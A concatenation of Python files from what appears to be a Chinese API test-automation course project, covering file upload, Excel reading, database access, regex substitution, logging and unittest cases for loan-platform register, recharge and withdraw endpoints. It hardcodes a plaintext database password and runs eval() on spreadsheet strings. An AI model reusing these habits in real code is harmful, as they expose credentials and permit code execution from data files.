{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,004
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/13_上传文件.py
""" requests模块传参有四种方式:params、data、json和files params:传递查询字符串参数(常用于get请求) data:传递表单类型的参数(参数类型:Content-Type:application/x-www-form-urlencoded) json:传递json类型的参数(参数类型:Content-Type:application/json) files:用于上传文件(参数类型: content-type:multipart/form-data) files为字典类型,上传的文件为键值对的形式,参数名作为键 参数值是一个元组,内容为一下格式(文件名,打开的文件流,文件类型) 注意:除了上传的文件,接口其他参数不能放入files中 系统为请求头设置了正确边界,边界是被自动加到请求头的,所以我们不用再自己定义Content-Type请求头设置 """ import requests def uploadImages(file_path,filename): url="http://elm.cangdu.org/v1/addimg/food" headers = {"Content-Type":"multipart/form-data"} # 上传的文件参数 data = {"file":(filename,open(file_path,"rb"),'image/jpeg')} res = requests.post(url=url,files=data) print(res.json()) if __name__ == '__main__': case = {"file_path": "E:\Downloads\日本1.png","filename":"真龙霸业.png"} uploadImages(case["file_path"],case["filename"]) # data={"file":("真龙霸业.png",open("E:\Downloads\日本1.png","rb"),'image/jpeg')}
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,005
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/01_excel数据处理.py
""" openpyxl是读写Excel的Python库,是一个比较综合的工具,能够同时读取和修改Excel文档 openpyxl中有三个不同层次的类,每一个类都有各自的属性和方法: workbook是一个Excel工作表 worksheet是工作表中的表单 cell是表单中的单元格 row:行 column:列 步骤: 1、导入load_workbook模块 2、打开数据文件,Workbook对象 -- wb = load_workbook("文件路径") 3、根据表单名称选择表单 -- sh = wb["表单名称"] 4、遍历第一行的每一列 5、遍历表单中除去第一行的每一行 6、关闭文件 """ from openpyxl import load_workbook # 打开Excel wb = load_workbook("api_cases.xlsx") # 获取worksheet sheets = wb.worksheets print(sheets) # 定位表单 sheet_login = wb["登陆"] # 定位单位格 data = sheet_login.cell(2,5).value # 下标从1开始 print(data) print(type(data)) # 输出str # 将str类型转化为原本的类型dict:eval(data) print(type(eval(data))) # 通过active获取当前选中的sheet sheet = wb.active print(sheet) # 获取表单的最大列和最大行,即总行数和总列数 print(sheet_login.max_row) print(sheet_login.max_column) # 按行获取表单的所有数据 datas = sheet_login.rows # 转化成列表,每一行是一个元组,元组里面的成员是cell对象 print(list(sheet_login.rows)) print(list(sheet_login.rows)[0]) # 表单第一列 print(list(sheet_login.rows)[0][0].value) # 表单第一列第一列的值 # 遍历第一行 title = [] for item in list(sheet_login.rows)[0]: title.append(item.value) print(title) # 遍历表单中除去第一行的每一行 all_datas = [] for row in list(sheet_login.rows)[1:]: values = [] for cell in row: values.append(cell.value) res = dict(zip(title,values)) # title和每一行数据,打包成字典 all_datas.append(res) # 每一条用例打包成字典添加到列表中 print(all_datas) # 关闭文件 wb.close()
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,006
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/09_数据库操作.py
""" 对于支持事务的数据库,在Python数据库中,当游标创建时,就自动开始了一个隐形对的数据库事务 commit()方法游标的所有更新操作 rollback()方法回滚当前游标的所有操作 每一个方法都开始了一个新的事务 """ import pymysql config = { "host":"api.lemonban.com", "port":3306, "user":"future", "password":"123456", "database":"futureloan", "charset":"utf8", "cursorclass":pymysql.cursors.DictCursor # 将默认的元组格式转换成字典格式输出 } # 打开数据库连接 conn = pymysql.connect(**config) # 创建游标 cursor = conn.cursor() sql = 'select * from member limit 3;' try: # 执行sql语句 cursor.execute(sql) # 提交到数据库执行 conn.commit() # 获取单条数据 one = cursor.fetchone() print(one) # 获取所有记录列表 results = cursor.fetchall() print(results) except: # 发生错误时回滚 conn.rollback() # 关闭数据库,关闭游标 conn.close() cursor.close()
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,007
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_withdraw.py
import unittest,json from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt, data from Common.handle_db import HandleDB from Common.handle_log import logger from Common.handle_phone import get_new_phone,get_old_phone from Common.handle_data import replace_data,EnvData,clear_EnvData_atts,replace_case_by_regular from Common.handle_requests import send_requests from jsonpath import jsonpath get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","提现") cases = get_excel.read_all_datas() get_excel.close_file() db = HandleDB() @ddt class TestWithdraw(unittest.TestCase): @classmethod def setUpClass(cls): logger.info("***************************登录前置*****************************************") clear_EnvData_atts() # 清理EnvData里设置的属性 user,passwd = get_old_phone() resp = send_requests("POST", "member/login", {"mobile_phone": user, "pwd": passwd}) setattr(EnvData, "member_id", jsonpath(resp.json(),"$..id")[0]) setattr(EnvData, "token", jsonpath(resp.json(), "$..token")[0]) def tearDown(self) -> None: if hasattr(EnvData, "money"): delattr(EnvData, "money") @data(*cases) def test_withdraw(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["case_id"], case["title"])) if case["request_data"].find("#member_id#") != -1: case = replace_case_by_regular(case) # case = replace_data(case,"#member_id#", str(EnvData.member_id)) if case["check_sql"]: withdraw_before_money = db.select_one_data(case["check_sql"])["leave_amount"] logger.info("提现前用户余额:{}".format(withdraw_before_money)) withdraw_money = json.loads(case["request_data"])["amount"] logger.info("用户提现的金额:{}".format(withdraw_money)) expected_money = round(float(withdraw_before_money) - withdraw_money,2) logger.info("提现后,期望的金额:{}".format(expected_money)) # case = replace_data(case, "#money#", str(expected_money)) setattr(EnvData, "money", str(expected_money)) case = replace_case_by_regular(case) resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token) expected = json.loads(case["expected"]) try: self.assertEqual(resp.json()["code"],expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) if case["check_sql"]: self.assertEqual(resp.json()["data"]["id"], expected["data"]["id"]) self.assertEqual(resp.json()["data"]["leave_amount"], expected["data"]["leave_amount"]) withdraw_after_money = db.select_one_data(case["check_sql"])["leave_amount"] logger.info("提现后的用户余额:{}".format(withdraw_after_money)) self.assertEqual("{:.2f}".format(expected["data"]["leave_amount"]),"{:.2f}".format(float(withdraw_after_money))) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,008
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_register.py
import unittest from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt, data from Common.handle_db import HandleDB from Common.handle_log import logger from Common.handle_phone import get_new_phone from Common.handle_data import replace_data from Common.handle_requests import send_requests get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","注册") cases = get_excel.read_all_datas() get_excel.close_file() db = HandleDB() @ddt class TestRegister(unittest.TestCase): @classmethod def setUpClass(cls): logger.info("***************************注册用例开始*****************************************") @classmethod def tearDownClass(cls): logger.info("***************************注册用例结束*****************************************") @data(*cases) def test_register(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["id"], case["title"])) if case["request_data"].find("#phone#") != -1: new_phone = get_new_phone() case = replace_data(case,"#phone#", new_phone) resp = send_requests(case["method"],case["url"],case["request_data"]) expected = eval(case["expected"]) logger.info("用例的期望结果为:{}".format(case["expected"])) try: self.assertEqual(resp.json()["code"],expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) # 数据库校验 if case["check_sql"]: result = db.select_one_data(case["check_sql"]) self.assertIsNotNone(result) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,009
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_recharge.py
import unittest,json from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt, data from Common.handle_db import HandleDB from Common.handle_log import logger from Common.handle_phone import get_new_phone,get_old_phone from Common.handle_data import replace_data,EnvData,clear_EnvData_atts,replace_case_by_regular from Common.handle_requests import send_requests from jsonpath import jsonpath get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","充值") cases = get_excel.read_all_datas() get_excel.close_file() db = HandleDB() @ddt class TestRecharge(unittest.TestCase): @classmethod def setUpClass(cls): logger.info("***************************登录前置*****************************************") clear_EnvData_atts() # 清理EnvData里设置的属性 user,passwd = get_old_phone() resp = send_requests("POST", "member/login", {"mobile_phone": user, "pwd": passwd}) setattr(EnvData, "member_id", jsonpath(resp.json(),"$..id")[0]) setattr(EnvData, "token", jsonpath(resp.json(), "$..token")[0]) def tearDown(self) -> None: if hasattr(EnvData, "money"): delattr(EnvData, "money") @data(*cases) def test_recharge(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["case_id"], case["title"])) if case["request_data"].find("#member_id#") != -1: case = replace_case_by_regular(case) # case = replace_data(case,"#member_id#", str(EnvData.member_id)) if case["check_sql"]: recharge_before_money = db.select_one_data(case["check_sql"])['leave_amount'] logger.info("充值前用户余额:{}".format(recharge_before_money)) recharge_money = json.loads(case["request_data"])["amount"] logger.info("用户充值的金额:{}".format(recharge_money)) expected_money = round(float(recharge_before_money) + recharge_money,2) logger.info("充值后,期望的金额:{}".format(expected_money)) setattr(EnvData, "money", str(expected_money)) case = replace_case_by_regular(case) # case = replace_data(case, "#money#", str(expected_money)) resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token) expected = json.loads(case["expected"]) try: self.assertEqual(resp.json()["code"],expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) if case["check_sql"]: self.assertEqual(resp.json()["data"]["id"], expected["data"]["id"]) self.assertEqual(resp.json()["data"]["leave_amount"], expected["data"]["leave_amount"]) recharge_after_money = db.select_one_data(case["check_sql"])["leave_amount"] logger.info("充值后的用户余额:{}".format(recharge_after_money)) self.assertEqual("{:.2f}".format(expected["data"]["leave_amount"]),"{:.2f}".format(float(recharge_after_money))) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,010
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_extract_data.py
import jsonpath from Common.handle_data import EnvData def extract_data(extract_exprs,response_dict): """ 根据jsonpath提取表达式,从响应结果当中,提取数据并设置为环境变量EnvData类的类属性,作为全局变量使用。 :param extract_exprs: 从excel当中读取出来的,提取表达式的字符串。 :param response_dict: http请求之后的响应结果。 :return:Nonoe """ # 将提取表达式转换成字典 extract_dict = eval(extract_exprs) # 遍历字典,key作为全局变量名,value是jsonpath提取表达式。 for key,value in extract_dict.items(): # 提取 res = str(jsonpath.jsonpath(response_dict,value)[0]) # 设置环境变量 setattr(EnvData,key,res)
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,011
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/08_利用正则替换数据.py
""" re 模块使 Python 语言拥有全部的正则表达式功能。 re.findall(re规则,字符串):把所有匹配的字符放在列表中并返回 re.sub(re规则,替换串,被替换串):匹配字符并替换 """ """ ${memberID} 对应的正则表达式 '\$\{.*\}' \$ 转义替换字符串中 $ \{ 转义替换字符串中 { . 除了\n中的任意单个自符 * 匹配*前面的字符零次或者多次 \} 转义替换字符串中 } """ import re dict = {"memberId": "${memberID}", "password": "123456", "loanId": "${loanId}", "amount": "-100"} data = {"memberId": 10001, "loanId": 1} for key, value in dict.items(): if key in data.keys(): newValue = re.sub('\$\{.*\}', str(data[key]), value) dict[key] = newValue print(dict) class EnvData: pass setattr(EnvData, "member_id", "12345678900000") setattr(EnvData, "user_money", "2500") # 利用re.findall(re规则,字符串) data = '{"member_id": #member_id#,"amount":600,money:#user_money#,username:"#user#"}' res = re.findall("#(.*?)#", data) # 如果没找到,则返回的是一个空列表 print(res) if res: for item in res: try: value = getattr(EnvData, item) data = data.replace("#{}#".format(item), value) except AttributeError: continue print(data) # 利用re.sub(re规则,替换串,被替换串),缺点:key-value的名称要对应 data1 = '{"member_id": "#member_id#","amount":600,"user_money":"#user_money#","username":"#user#"}' dict_data = eval(data1) for key, value in dict_data.items(): if hasattr(EnvData, key): value1 = getattr(EnvData, key) newValue = re.sub("#(.*)#", value1, value) dict_data[key] = newValue print(dict_data)
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,012
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_log.py
import logging,os from Common.handle_config import conf from Common.handle_path import logs_dir class HandleLog: def __init__(self,name, path): # 创建一个日志收集器 self.logger = logging.getLogger(name) self.logger.setLevel(logging.INFO) self.stream_handle = logging.StreamHandler() self.file_handle = logging.FileHandler(path, encoding="utf-8") fmt = ' %(asctime)s-%(name)s-%(levelname)s-%(filename)s-%(lineno)dline-日志信息: %(message)s ' self.stream_handle.setFormatter(logging.Formatter(fmt)) self.file_handle.setFormatter(logging.Formatter(fmt)) self.logger.addHandler(self.stream_handle) self.logger.addHandler(self.file_handle) def get_logger(self): return self.logger def __del__(self): self.logger.removeHandler(self.stream_handle) self.logger.removeHandler(self.file_handle) self.stream_handle.close() self.file_handle.close() if conf.getboolean("log", "file_ok"): file_path = os.path.join(logs_dir, conf.get("log", "file_name")) else: file_path = None mlogger = HandleLog(conf.get("log", "name"),file_path) logger = mlogger.get_logger() logger.info("测试日志")
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,013
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/03_configparse模块.py
""" ConfigParser 是用来读取配置文件的包。 配置文件的格式如下:中括号“[ ]”内包含的为section。section 下面为类似于key-value 的配置内容 [section] option=value """ # ConfigParser 初始化对象 import configparser config = configparser.ConfigParser() config.read("test.ini", encoding="utf-8") # 获取所用的section节点 print(config.sections()) # 获取指定section的options res = config.options("db") print(res) # 获取指定section下的指定option值 res = config.get("db", "db_host") print(res) # r1 = config.getint("db", "k1") #将获取到值转换为int型 # r2 = config.getboolean("db", "k2" ) #将获取到值转换为bool型 # r3 = config.getfloat("db", "k3" ) #将获取到值转换为浮点型 # 获取指定section的所用配置信息 res = config.items("db") print(res) # 检查section或option是否存在 if not config.has_section("default"): config.add_section("default") if not config.has_option("default","db_host"): config.set("default","db_host","1.1.1.1") config.write(open("test.ini","w",encoding="utf-8"))
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,014
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_config.py
